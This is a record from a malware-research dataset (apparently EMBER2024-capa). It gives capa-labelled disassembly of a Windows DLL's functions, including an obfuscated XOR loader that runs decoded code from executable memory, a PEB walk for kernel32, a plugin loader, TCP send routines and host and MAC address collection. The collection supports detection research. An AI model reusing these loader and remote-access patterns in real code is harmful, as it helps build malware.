joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003670
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1000367f
pop dword [ebp - 0x34]
mov eax, 0x4e2f42af
sub eax, 0x3e2f0c30
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x38ee0
push 0
mov eax, 0x4d3f4cf
sub eax, 0xf4d3a4c7
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x646794d9
sub ecx, 0x6467432d
xor edi, edi
add edi, eax
mov ebx, 0x353ea30d
sub ebx, 0x253e2f0d
add ebx, dword [ebp - 0x34]
mov edx, 0x2a1622a3
sub edx, 0x9d90e68
sub dword [ebp - 0x14], edx
mov esi, dword [ebx]
add dword [ebp - 0x28], 0xd6790c84
xor esi, edx
add dword [ebp - 0x14], edx
mov dword [edi], esi
add dword [ebp - 0x2c], 0x4c8f6e8b
add edi, 4
add ebx, 0xb9d24d5b
add ebx, 0x462db2a9
loop 0x100036e0
add eax, 0x13983
mov ebx, eax
add eax, 0x9a2c8761
sub eax, 0x9a2c875c
mov ecx, 0xb5242698
sub ecx, 0xa5242698
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x10003ae0
Capabilities:
Enumerate pe sections

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov ecx, dword [esi + 4]
sub ecx, 1
js 0x10003b0b
mov eax, dword [esi + 8]
lea edx, [eax + ecx*4]
mov eax, dword [edx]
movzx eax, word [eax + 6]
cmp eax, 4
je 0x10003b1e
cmp eax, 0xd
je 0x10003b1e
sub edx, 4
sub ecx, 1
jns 0x10003af3
mov eax, dword [esi]
sub eax, 1
je 0x10003b2c
sub eax, 2
je 0x10003b25
mov eax, 2
pop esi
ret
mov eax, 1
pop esi
ret
mov edx, 0x100040e0
jmp 0x10003b31
mov edx, 0x10004020
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0x18]
sub edx, eax
sub edx, 0xa
mov dword [ecx + 1], eax
mov eax, dword [esp + 0x10]
mov byte [ecx], 0xb8
mov byte [ecx + 5], 0xe9
mov dword [ecx + 6], edx
mov dword [ecx + 0x10], eax
mov eax, dword [esp + 0x14]
mov dword [ecx + 0xc], esi
mov dword [ecx + 0x14], eax
xor eax, eax
pop esi
ret
Function at 0x10001000
Capabilities:
Encode data using base64

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
push edi
test eax, eax
jne 0x1000100f
pop edi
pop esi
pop ebx
ret
mov ebx, dword [esp + 0x10]
lea ecx, [eax + 2]
lea edi, [ebx + eax - 3]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
lea edx, [edx*4 + 1]
push edx
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
jne 0x10001041
pop edi
pop esi
or eax, 0xffffffff
pop ebx
ret
xor eax, eax
cmp ebx, edi
mov dword [esp + 0x14], eax
mov edx, ebx
jae 0x100010b5
xor ecx, ecx
xor ebx, ebx
mov cl, byte [edx]
mov bl, byte [edx + 1]
shl ecx, 0x18
inc edx
add eax, 4
shl ebx, 0x10
or ecx, ebx
inc edx
xor ebx, ebx
mov bh, byte [edx]
or ecx, ebx
inc edx
mov ebx, ecx
shr ebx, 0x1a
shl ecx, 6
mov bl, byte [ebx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi], bl
mov ebx, ecx
shr ebx, 0x1a
inc esi
mov bl, byte [ebx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
shl ecx, 6
mov byte [esi], bl
mov ebx, ecx
shr ebx, 0x1a
inc esi
mov bl, byte [ebx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
shr ecx, 0x14
and ecx, 0x3f
mov byte [esi], bl
inc esi
mov cl, byte [ecx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi], cl
inc esi
cmp edx, edi
jb 0x1000104d
mov dword [esp + 0x14], eax
push ebp
add edi, 3
xor ebx, ebx
xor ebp, ebp
cmp edx, edi
jae 0x100010de
mov ebp, edi
mov ecx, 0x18
sub ebp, edx
xor eax, eax
mov al, byte [edx]
shl eax, cl
sub ecx, 8
or ebx, eax
inc edx
cmp edx, edi
jb 0x100010ca
mov eax, dword [esp + 0x18]
shl ebp, 3
xor edi, edi
cmp ebp, edi
jl 0x100010fc
mov ecx, ebx
shr ecx, 0x1a
inc esi
mov dl, byte [ecx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi - 1], dl
shl ebx, 6
jmp 0x10001100
mov byte [esi], 0x3d
inc esi
add edi, 6
inc eax
cmp edi, 0x18
jl 0x100010e3
mov ecx, dword [esp + 0x1c]
mov byte [esi], 0
sub esi, eax
pop ebp
mov dword [ecx], esi
pop edi
pop esi
pop ebx
ret
Function at 0x10001380
Capabilities:
Access peb ldr_data
Get kernel32 base address
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x10006f6c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_malloc]
push ebp
push esi
mov esi, ecx
push edi
push 0x20
mov dword [esp + 0x14], esi
mov dword [esi + 0x30], 0x100081e8
mov dword [esi + 0x44], 8
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
add esp, 4
mov dword [esi + 0x34], eax
lea eax, [esi + 0x48]
xor edi, edi
push eax
mov dword [esi + 0x40], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x38], edi
call ebp
lea ecx, [esi + 0x60]
mov dword [esp + 0x1ac], edi
call fcn.10001120
lea ecx, [esi + 0x94]
mov byte [esp + 0x1ac], 1
call fcn.10001120
push 0x20
mov dword [esi + 0xbc], 0x100081e8
mov dword [esi + 0xd0], 8
call ebx
add esp, 4
lea ecx, [esi + 0xd4]
mov dword [esi + 0xc0], eax
mov dword [esi + 0xcc], edi
push ecx
mov dword [esi + 0xc8], edi
mov dword [esi + 0xc4], edi
call ebp
lea edx, [esp + 0x14]
mov dword [esi], 0x100081e4
push edx
push 0x201
call sub.WS2_32.dll_WSAStartup
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 4], edi
mov dword [esi + 0x3f0], edi
mov dword [esi + 0x1ec], edi
mov dword [esi + 0x3f4], edi
mov ecx, 0x40
xor eax, eax
lea edi, [esi + 0xec]
mov dword [esi + 0x14], 0xffffffff
mov dword [esi + 0x8c], 6
rep stosd dword es:[edi], eax
mov ecx, 0x80
lea edi, [esi + 0x1f0]
rep stosd dword es:[edi], eax
lea ecx, [esi + 0x24]
push 0x10000
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
call ebx
mov ecx, dword [esp + 0x1a8]
add esp, 4
mov dword [esi + 0x88], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1a0
ret

Function at 0x100015f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000160d
xor eax, eax
pop esi
add esp, 0x10
ret
push ebx
push ebp
push edi
mov edi, dword [esp + 0x28]
push edi
xor ebp, ebp
mov word [esp + 0x14], 2
call sub.WS2_32.dll_htons
mov ebx, dword [esp + 0x24]
mov word [esp + 0x12], ax
lea eax, [esp + 0x14]
push eax
push ebx
call fcn.10006960
add esp, 8
test eax, eax
je 0x10001650
lea ecx, [esp + 0x10]
push 0x10
push ecx
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x100016a8
mov ecx, dword [0x10009bb8]
lea edx, [esp + 0x24]
push edx
push edi
push ebx
call fcn.10004de0
push eax
call fcn.10004df0
mov esi, eax
add esp, 0x10
cmp esi, 0xffffffff
jne 0x100016a0
mov ecx, dword [0x10009bb8]
lea eax, [esp + 0x28]
push eax
push edi
push ebx
mov dword [esp + 0x34], 0
call fcn.10004de0
push eax
call fcn.10005400
mov eax, dword [esp + 0x38]
add esp, 0x10
cmp eax, 3
jne 0x100016ad
jmp 0x100016a8
mov eax, dword [esp + 0x24]
test eax, eax
je 0x100016ad
mov ebp, 1
push esi
call sub.WS2_32.dll_closesocket
mov eax, ebp
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x10
ret
Function at 0x10001e30
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
mov esi, ecx
push edi
push 1
mov eax, dword [esi + 4]
push eax
call ebx
cmp eax, 0x102
jne 0x10001f81
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x10001e5a
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
push eax
call edi
mov ecx, dword [esi + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CancelIo]
mov edx, dword [esi + 0x14]
push edx
call sub.WS2_32.dll_closesocket
mov eax, dword [esi + 0xc]
mov dword [esi + 0x14], 0xffffffff
push eax
call edi
mov ecx, dword [esi + 0x18]
push 0x12c
push ecx
call ebx
cmp eax, 0x102
jne 0x10001ea8
mov edx, dword [esi + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0xffffffffffffffff
push edx
call edi
jmp 0x10001eae
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 0x18]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebp
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x10001ee6
push 0x12c
push eax
call ebx
cmp eax, 0x102
jne 0x10001ed9
mov ecx, dword [esi + 0x1c]
push 0xffffffffffffffff
push ecx
call edi
mov edx, dword [esi + 0x1c]
push edx
call ebp
mov dword [esi + 0x1c], 0
mov eax, dword [esi + 0x20]
test eax, eax
je 0x10001f11
push 0x12c
push eax
call ebx
cmp eax, 0x102
jne 0x10001f04
mov eax, dword [esi + 0x20]
push 0xffffffffffffffff
push eax
call edi
mov ecx, dword [esi + 0x20]
push ecx
call ebp
mov dword [esi + 0x20], 0
lea edi, [esi + 0x24]
mov ebx, 3
mov eax, dword [edi]
test eax, eax
je 0x10001f2e
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [edi], 0
add edi, 4
dec ebx
jne 0x10001f19
mov edx, dword [esi + 4]
push edx
call ebp
mov eax, dword [esi + 0xc]
push eax
call ebp
mov ecx, dword [esi + 8]
push ecx
call ebp
mov eax, dword [esi + 0x1ec]
pop ebp
test eax, eax
je 0x10001f81
mov edx, dword [eax + 4]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edx
call edi
mov eax, dword [esi + 0x1ec]
mov ecx, dword [eax]
push ecx
call edi
mov edx, dword [esi + 0x1ec]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esi + 0x1ec], 0
pop edi
pop esi
pop ebx
ret
Function at 0x10002150
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
push 0xffffffffffffffff
mov eax, dword [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebp, dword [esp + 0x1c]
xor ebx, ebx
mov eax, ebp
cdq
and edx, 0xf
add eax, edx
sar eax, 4
lea eax, [eax + ebp + 0x43]
mov dword [esp + 0x10], eax
add eax, 0xc
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
mov dword [edi], 0x32303133
mov dword [edi + 8], ebp
je 0x1000220b
mov ecx, dword [esi + 0x88]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x1c]
lea eax, [edi + 0xc]
push edx
push eax
push ebp
push ecx
call fcn.10003880
mov edx, dword [esp + 0x24]
add esp, 0x14
mov dword [edi + 4], edx
mov eax, dword [esp + 0x10]
lea ebp, [eax + 0xc]
test ebp, ebp
jle 0x10002201
mov ecx, dword [esi + 0x8c]
mov eax, ebp
sub eax, ebx
cmp ecx, 1
lea edx, [edi + ebx]
je 0x100021ee
cmp ecx, 2
je 0x100021ee
mov ecx, dword [esi + 0x14]
push 0
push eax
push edx
push ecx
call sub.WS2_32.dll_send
jmp 0x100021f7
push eax
push edx
mov ecx, esi
call fcn.10001f90
test eax, eax
jle 0x10002201
add ebx, eax
cmp ebx, ebp
jl 0x100021c8
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov edx, dword [esi + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret 8
Function at 0x10002790
Capabilities:
Terminate thread

Disassembly:
push 0xffffffffffffffff
push 0x10006ff6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x14], esi
mov dword [esi], 0x100081ec
mov eax, dword [esi + 0x404]
mov dword [esp + 0x20], 1
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [esi + 0xb294]
lea edi, [esi + 0x650]
push 0x2710
push 1
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov eax, dword [esi + 0xb294]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebp, ebp
test eax, eax
jle 0x10002830
mov eax, dword [edi]
lea edx, [esp + 0x10]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [esp + 0x10], 0x103
jne 0x1000281d
mov ecx, dword [edi]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [edi]
push edx
call ebx
mov eax, dword [esi + 0xb294]
inc ebp
add edi, 4
cmp ebp, eax
jl 0x100027fa
mov eax, dword [esi + 0x404]
push eax
call ebx
mov eax, dword [esi + 0xb2a0]
xor ebx, ebx
xor ebp, ebp
cmp eax, ebx
jle 0x100028b8
mov edi, dword [esi + 0xb29c]
xor eax, eax
or ecx, 0xffffffff
xor edx, edx
cmp edi, ebx
jle 0x100028ad
cmp eax, ebx
jne 0x1000286e
mov eax, dword [esi + 0xb298]
mov eax, dword [eax + edx*4]
cmp eax, ebx
je 0x1000287e
inc ecx
cmp ecx, ebp
je 0x10002883
mov eax, dword [eax + 8]
cmp eax, ebx
je 0x1000287a
inc ecx
cmp ecx, ebp
jl 0x1000286e
cmp ecx, ebp
je 0x10002883
inc edx
cmp edx, edi
jl 0x10002858
cmp eax, ebx
je 0x100028ad
mov edi, dword [eax + 4]
cmp edi, ebx
je 0x100028ad
cmp dword [edi + 0xc], ebx
jne 0x100028ad
mov eax, dword [edi]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [edi + 8]
push ecx
call fcn.10003800
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0xc
mov eax, dword [esi + 0xb2a0]
inc ebp
cmp ebp, eax
jl 0x10002847
lea edx, [esi + 0xb2a4]
mov byte [esp + 0x20], 0
push edx
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov eax, dword [esi + 0xb298]
mov dword [esi + 0xb2a0], ebx
cmp eax, ebx
je 0x10002925
mov eax, dword [esi + 0xb29c]
xor ebp, ebp
cmp eax, ebx
jle 0x10002910
mov eax, dword [esi + 0xb298]
mov eax, dword [eax + ebp*4]
cmp eax, ebx
je 0x10002905
mov edi, dword [eax + 8]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
cmp edi, ebx
mov eax, edi
jne 0x100028f3
mov eax, dword [esi + 0xb29c]
inc ebp
cmp ebp, eax
jl 0x100028e6
mov eax, dword [esi + 0xb298]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esi + 0xb298], ebx
mov ecx, esi
mov dword [esp + 0x20], 0xffffffff
call fcn.10003330
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x10002d80
Capabilities:
Get mac address on windows

Disassembly:
push ecx
push esi
push 0x280
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], 0x280
push eax
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x10002dc9
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [esp + 8]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 8
lea edx, [esp + 4]
mov esi, eax
push edx
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x10002e14
mov al, byte [esi + 0x199]
xor ecx, ecx
mov cl, byte [esi + 0x198]
xor edx, edx
mov dl, byte [esi + 0x197]
push eax
push ecx
xor eax, eax
mov al, byte [esi + 0x196]
push edx
xor ecx, ecx
xor edx, edx
mov cl, byte [esi + 0x195]
mov dl, byte [esi + 0x194]
push eax
mov eax, dword [esp + 0x1c]
push ecx
push edx
push str._02X__02X__02X__02X__02X__02X
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x20
test esi, esi
je 0x10002e21
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop esi
pop ecx
ret
Function at 0x10003710
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x100037c9
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x10003767
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x100037af
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov esi, dword [edx*4 + 0x10009230]
je 0x10003781
or esi, 0x200
mov edx, dword [edi - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x1000379c
test al, 0x40
je 0x10003793
mov ecx, dword [ebx + 0x20]
jmp 0x1000379a
test al, 0x80
je 0x100037af
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x100037af
mov ecx, dword [edi - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x10003734
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10004210
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x1c]
test eax, eax
jne 0x1000422e
mov eax, dword [esi + 0x14]
mov ecx, dword [eax]
push ecx
call fcn.100033a0
mov edx, dword [esi + 0x14]
add esp, 4
mov dword [edx + 8], eax
mov eax, dword [esi + 0x14]
push str.CreatePluginObj
mov ecx, dword [eax + 8]
push ecx
call fcn.100037d0
add esp, 8
test eax, eax
je 0x100042b5
mov ecx, dword [esi]
cmp dword [ecx + 0x8c], 2
jne 0x10004255
xor ecx, ecx
jmp 0x10004258
mov ecx, dword [ecx + 0x14]
lea edx, [esi + 0x18]
push edx
push 0x10003f30
push 0x10003f10
push ecx
push esi
call eax
add esp, 0x14
test eax, eax
je 0x100042b5
mov eax, dword [esi + 0x1c]
mov dword [esi + 0x10], 1
test eax, eax
jne 0x10004294
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 4]
push eax
push ecx
mov ecx, dword [esi]
add ecx, 0xb298
call fcn.100042d0
mov eax, dword [esi + 0x14]
push 0
push 0
push esi
mov ecx, dword [eax + 0xc]
push 0x100041f0
inc ecx
push 0
push 0
mov dword [eax + 0xc], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 8], eax
pop esi
ret

Function at 0x10004380
Capabilities:
Get hostname
Initialize winsock library
Query environment variable

Disassembly:
sub esp, 0x5a4
push esi
lea eax, [esp + 0x418]
push edi
mov esi, ecx
push eax
push 0x201
mov dword [esi], 0x1000820c
call sub.WS2_32.dll_WSAStartup
lea eax, [esi + 4]
lea ecx, [esi + 0xc]
push ecx
mov dword [eax + 4], eax
mov dword [eax], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, 0x80
xor eax, eax
mov edi, 0x100099a8
xor edx, edx
rep stosd dword es:[edi], eax
mov ecx, 0x80
mov edi, 0x100097a8
rep stosd dword es:[edi], eax
lea eax, [esi + 0x24]
xor edi, edi
push edi
push edi
mov dword [eax], edx
push edi
push edi
mov dword [eax + 4], edx
mov dword [eax + 8], edx
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], edx
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea ecx, [esp + 8]
lea edx, [esp + 0x214]
push ecx
push edx
mov dword [esi + 0x38], eax
mov dword [esp + 0x10], 0x208
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [esp + 0x214]
lea ecx, [esp + 0xc]
push eax
push str.__TEMP___s_p.ax
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [esi + 0x44]
lea eax, [esp + 0xc]
push 0x208
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ecx, esi
mov dword [esi + 0x24c], edi
call fcn.10005b70
mov dword [esi + 0x24c], 1
mov eax, esi
pop edi
pop esi
add esp, 0x5a4
ret
Function at 0x100044d0
Capabilities:
Create thread
Get hostname
Resolve dns

Disassembly:
sub esp, 0x100
lea eax, [esp]
push ebp
push edi
push 0x100
mov ebp, ecx
push eax
call sub.WS2_32.dll_gethostname
lea ecx, [esp + 8]
push ecx
call sub.WS2_32.dll_gethostbyname
mov edi, eax
test edi, edi
jne 0x10004504
pop edi
xor al, al
pop ebp
add esp, 0x100
ret
mov eax, dword [edi + 0xc]
mov ecx, dword [eax + 4]
test ecx, ecx
jne 0x10004523
mov edx, dword [eax]
cmp dword [edx], 0x100007f
jne 0x10004523
pop edi
xor al, al
pop ebp
add esp, 0x100
ret
mov ecx, dword [eax]
push ebx
test ecx, ecx
push esi
je 0x10004579
xor esi, esi
lea ebx, [ebp + 0x24]
cmp esi, 0x14
jge 0x10004579
push 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [eax], ebp
mov ecx, dword [edi + 0xc]
push 0
push 0
mov edx, dword [ecx + esi]
push eax
push 0x100047a0
push 0
mov ecx, dword [edx]
push 0
mov dword [eax + 4], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x64
mov dword [ebx], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [edi + 0xc]
add esi, 4
add ebx, 4
cmp dword [edx + esi], 0
jne 0x10004530
pop esi
pop ebx
pop edi
mov al, 1
pop ebp
add esp, 0x100
ret
Function at 0x10004c60
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ebx, [esi + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea ebx, [esi + 4]
mov dword [esp + 0x1c], 0
mov esi, dword [ebx]
cmp esi, ebx
je 0x10004cec
mov eax, dword [esi + 8]
mov ecx, dword [ebp + 8]
cmp eax, ecx
jne 0x10004ce6
mov ecx, dword [esi + 0xc]
mov eax, dword [ebp + 0xc]
cmp ecx, eax
jne 0x10004ce6
mov dx, word [esi + 0x10]
cmp dx, word [ebp + 0x10]
jne 0x10004ce6
mov al, byte [esi + 0x12]
mov cl, byte [ebp + 0x12]
cmp al, cl
jne 0x10004ce6
mov edi, dword [sym.imp.MSVCRT.dll__stricmp]
lea ecx, [ebp + 0x13]
lea edx, [esi + 0x13]
push ecx
push edx
call edi
add esp, 8
test eax, eax
jne 0x10004ce6
lea eax, [ebp + 0x112]
lea ecx, [esi + 0x112]
push eax
push ecx
call edi
add esp, 8
test eax, eax
je 0x10004dbf
mov esi, dword [esi]
cmp esi, ebx
jne 0x10004c8c
push 0x214
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, dword [esp + 0x14]
mov ebx, eax
mov ecx, 0x85
mov esi, ebp
mov edi, ebx
add esp, 4
rep movsd dword es:[edi], dword [esi]
mov eax, dword [edx + 4]
lea ecx, [edx + 4]
mov dword [ebx], eax
mov dword [ebx + 4], ecx
mov dword [eax + 4], ebx
mov eax, edx
mov dword [ecx], ebx
mov ecx, dword [eax + 0x24c]
test ecx, ecx
je 0x10004d78
push 0
push 0
push 4
mov ecx, edx
push 0
push 2
add ecx, 0x44
push 0x40000000
push ecx
mov dword [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10004d78
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea edx, [esp + 0x14]
push 0
push edx
push 0x214
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
lea ebx, [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x10004dc9
mov eax, dword [ebp + 8]
test eax, eax
jne 0x10004dc9
push 0x214
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, 0x85
mov esi, ebp
mov edi, eax
add esp, 4
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x10]
mov dword [eax + 8], 1
mov ebp, eax
jmp 0x10004c74
mov dword [esp + 0x1c], 1
jmp 0x10004d78
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 4